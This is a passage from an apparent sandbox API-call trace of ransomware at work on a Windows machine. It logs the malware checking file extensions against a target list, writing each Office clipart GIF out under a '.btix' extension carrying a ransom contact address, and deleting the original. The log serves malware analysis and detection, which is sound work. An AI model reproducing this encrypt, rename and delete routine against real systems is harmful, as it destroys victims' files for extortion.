Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0138.587] lstrlenW (lpString=".1cd") returned 4 [0138.587] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0138.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0138.587] lstrlenW (lpString=".jpg") returned 4 [0138.587] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0138.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0138.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0138.587] lstrlenW (lpString=".doc") returned 4 [0138.587] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0138.587] lstrlenW (lpString=".docx") returned 5 [0138.587] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0138.587] lstrlenW (lpString=".pdf") returned 4 [0138.587] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0138.587] lstrlenW (lpString=".xls") returned 4 [0138.587] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0138.587] lstrlenW (lpString=".xlsx") returned 5 [0138.587] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0138.587] lstrlenW (lpString=".ppt") returned 4 [0138.587] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0138.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0138.587] lstrlenW (lpString=".zip") returned 4 [0138.587] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0138.587] lstrlenW (lpString=".rar") returned 4 [0138.587] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0138.587] lstrlenW (lpString=".bz2") returned 4 [0138.587] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0138.587] lstrlenW (lpString=".7z") returned 3 [0138.587] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0138.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0138.587] lstrlenW (lpString=".dbf") returned 4 [0138.587] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0138.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0138.587] lstrlenW (lpString=".1cd") returned 4 [0138.587] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0138.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0138.588] lstrlenW (lpString=".jpg") returned 4 [0138.588] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0138.588] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0138.588] lstrlenW (lpString="J0099195.GIF") returned 12 [0138.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0138.591] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=19923) returned 1 [0138.591] CloseHandle (hObject=0x540) returned 1 [0138.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 0x220 [0138.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0138.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0138.592] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.592] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0138.592] GetLastError () returned 0x0 [0138.592] ReadFile (in: hFile=0x540, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x4dd3, lpOverlapped=0x0) returned 1 [0138.599] WriteFile (in: hFile=0x498, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0138.600] ReadFile (in: hFile=0x540, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0138.600] WriteFile (in: hFile=0x498, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0138.601] SetEndOfFile (hFile=0x498) returned 1 [0138.601] CloseHandle (hObject=0x498) returned 1 [0138.601] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.601] SetEndOfFile (hFile=0x540) returned 1 [0138.603] CloseHandle (hObject=0x540) returned 1 [0138.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0138.604] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 1 [0138.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0138.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0138.604] lstrlenW (lpString=".doc") returned 4 [0138.604] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0138.604] lstrlenW (lpString=".docx") returned 5 [0138.604] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0138.604] lstrlenW (lpString=".pdf") returned 4 [0138.604] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0138.605] lstrlenW (lpString=".xls") returned 4 [0138.605] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0138.605] lstrlenW (lpString=".xlsx") returned 5 [0138.605] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0138.605] lstrlenW (lpString=".ppt") returned 4 [0138.605] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0138.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0138.605] lstrlenW (lpString=".zip") returned 4 [0138.605] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0138.605] lstrlenW (lpString=".rar") returned 4 [0138.605] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0138.605] lstrlenW (lpString=".bz2") returned 4 [0138.605] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0138.605] lstrlenW (lpString=".7z") returned 3 [0138.605] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0138.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0138.605] lstrlenW (lpString=".dbf") returned 4 [0138.605] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0138.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0138.605] lstrlenW (lpString=".1cd") returned 4 [0138.605] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0138.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0138.605] lstrlenW (lpString=".jpg") returned 4 [0138.605] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0138.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0138.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0138.605] lstrlenW (lpString=".doc") returned 4 [0138.605] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0138.605] lstrlenW (lpString=".docx") returned 5 [0138.605] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0138.605] lstrlenW (lpString=".pdf") returned 4 [0138.605] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0138.605] lstrlenW (lpString=".xls") returned 4 [0138.605] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0138.605] lstrlenW (lpString=".xlsx") returned 5 [0138.606] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0138.606] lstrlenW (lpString=".ppt") returned 4 [0138.606] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0138.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0138.606] lstrlenW (lpString=".zip") returned 4 [0138.606] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0138.606] lstrlenW (lpString=".rar") returned 4 [0138.606] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0138.606] lstrlenW (lpString=".bz2") returned 4 [0138.606] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0138.606] lstrlenW (lpString=".7z") returned 3 [0138.606] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0138.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0138.606] lstrlenW (lpString=".dbf") returned 4 [0138.606] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0138.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0138.606] lstrlenW (lpString=".1cd") returned 4 [0138.606] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0138.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0138.606] lstrlenW (lpString=".jpg") returned 4 [0138.606] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0138.606] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0138.606] lstrlenW (lpString="J0099196.GIF") returned 12 [0138.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0138.607] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=14337) returned 1 [0138.607] CloseHandle (hObject=0x540) returned 1 [0138.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 0x220 [0138.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0138.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0138.607] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.607] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0138.608] GetLastError () returned 0x0 [0138.608] ReadFile (in: hFile=0x540, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x3801, lpOverlapped=0x0) returned 1 [0138.874] WriteFile (in: hFile=0x498, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x3810, lpOverlapped=0x0) returned 1 [0138.875] ReadFile (in: hFile=0x540, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0138.875] WriteFile (in: hFile=0x498, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0138.875] SetEndOfFile (hFile=0x498) returned 1 [0138.875] CloseHandle (hObject=0x498) returned 1 [0138.875] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.875] SetEndOfFile (hFile=0x540) returned 1 [0138.877] CloseHandle (hObject=0x540) returned 1 [0138.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0139.258] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 1 [0139.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0139.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0139.294] lstrlenW (lpString=".doc") returned 4 [0139.294] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0139.294] lstrlenW (lpString=".docx") returned 5 [0139.294] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0139.302] lstrlenW (lpString=".pdf") returned 4 [0139.302] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0139.302] lstrlenW (lpString=".xls") returned 4 [0139.302] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0139.302] lstrlenW (lpString=".xlsx") returned 5 [0139.302] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0139.302] lstrlenW (lpString=".ppt") returned 4 [0139.302] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0139.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0139.303] lstrlenW (lpString=".zip") returned 4 [0139.303] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0139.303] lstrlenW (lpString=".rar") returned 4 [0139.303] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0139.303] lstrlenW (lpString=".bz2") returned 4 [0139.303] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0139.303] lstrlenW (lpString=".7z") returned 3 [0139.303] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0139.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0139.303] lstrlenW (lpString=".dbf") returned 4 [0139.303] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0139.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0139.303] lstrlenW (lpString=".1cd") returned 4 [0139.303] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0139.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0139.303] lstrlenW (lpString=".jpg") returned 4 [0139.303] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0139.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0139.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0139.303] lstrlenW (lpString=".doc") returned 4 [0139.303] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0139.303] lstrlenW (lpString=".docx") returned 5 [0139.304] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0139.304] lstrlenW (lpString=".pdf") returned 4 [0139.304] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0139.304] lstrlenW (lpString=".xls") returned 4 [0139.304] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0139.304] lstrlenW (lpString=".xlsx") returned 5 [0139.304] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0139.304] lstrlenW (lpString=".ppt") returned 4 [0139.304] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0139.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0139.304] lstrlenW (lpString=".zip") returned 4 [0139.304] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0139.304] lstrlenW (lpString=".rar") returned 4 [0139.304] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0139.304] lstrlenW (lpString=".bz2") returned 4 [0139.304] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0139.304] lstrlenW (lpString=".7z") returned 3 [0139.304] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0139.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0139.304] lstrlenW (lpString=".dbf") returned 4 [0139.304] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0139.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0139.304] lstrlenW (lpString=".1cd") returned 4 [0139.304] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0139.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0139.305] lstrlenW (lpString=".jpg") returned 4 [0139.305] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0139.305] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0139.305] lstrlenW (lpString="J0099198.GIF") returned 12 [0139.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0139.596] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=5259) returned 1 [0139.596] CloseHandle (hObject=0x38c) returned 1 [0139.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 0x220 [0139.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0139.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0139.790] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.790] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0139.792] GetLastError () returned 0x0 [0139.792] ReadFile (in: hFile=0x42c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x148b, lpOverlapped=0x0) returned 1 [0139.813] WriteFile (in: hFile=0x38c, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x1490, lpOverlapped=0x0) returned 1 [0139.814] ReadFile (in: hFile=0x42c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0139.814] WriteFile (in: hFile=0x38c, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0139.814] SetEndOfFile (hFile=0x38c) returned 1 [0139.814] CloseHandle (hObject=0x38c) returned 1 [0139.814] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.814] SetEndOfFile (hFile=0x42c) returned 1 [0139.817] CloseHandle (hObject=0x42c) returned 1 [0139.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0139.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 1 [0139.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0139.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0139.818] lstrlenW (lpString=".doc") returned 4 [0139.818] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0139.818] lstrlenW (lpString=".docx") returned 5 [0139.818] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0139.818] lstrlenW (lpString=".pdf") returned 4 [0139.818] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0139.818] lstrlenW (lpString=".xls") returned 4 [0139.818] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0139.818] lstrlenW (lpString=".xlsx") returned 5 [0139.818] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0139.818] lstrlenW (lpString=".ppt") returned 4 [0139.818] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0139.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0139.818] lstrlenW (lpString=".zip") returned 4 [0139.818] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0139.818] lstrlenW (lpString=".rar") returned 4 [0139.818] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0139.818] lstrlenW (lpString=".bz2") returned 4 [0139.818] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0139.818] lstrlenW (lpString=".7z") returned 3 [0139.818] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0139.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0139.819] lstrlenW (lpString=".dbf") returned 4 [0139.819] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0139.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0139.819] lstrlenW (lpString=".1cd") returned 4 [0139.819] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0139.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0139.819] lstrlenW (lpString=".jpg") returned 4 [0139.819] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0139.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0139.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 